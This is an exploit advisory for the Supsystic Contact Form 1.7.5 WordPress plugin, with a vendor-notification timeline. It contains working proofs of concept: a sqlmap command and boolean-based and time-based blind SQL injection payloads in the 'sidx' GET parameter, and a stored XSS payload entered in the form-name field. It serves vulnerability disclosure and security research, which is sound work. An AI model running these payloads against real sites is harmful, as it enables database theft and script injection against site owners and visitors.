WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities

# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.7.5.zip
# Version: 1.7.5
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 10/12 2020: Vulnerability fixed


##################################
			   SQLi
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# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing contact forms.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing contact forms and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx --level=5

Parameter: sidx (GET)
	Type: boolean-based blind
	Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=(SELECT (CASE WHEN (9602=9602) THEN 0x6964 ELSE (SELECT 9695 UNION SELECT 1181) END))&sord=desc

	Type: time-based blind
	Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=id AND (SELECT 4102 FROM (SELECT(SLEEP(5)))vOKL)&sord=desc



##################################
			Stored XSS
##################################


# 1. Description

The "Edit name" and "Contact information" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms_edit&id=[FORM ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the "Show All Forms" section.
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms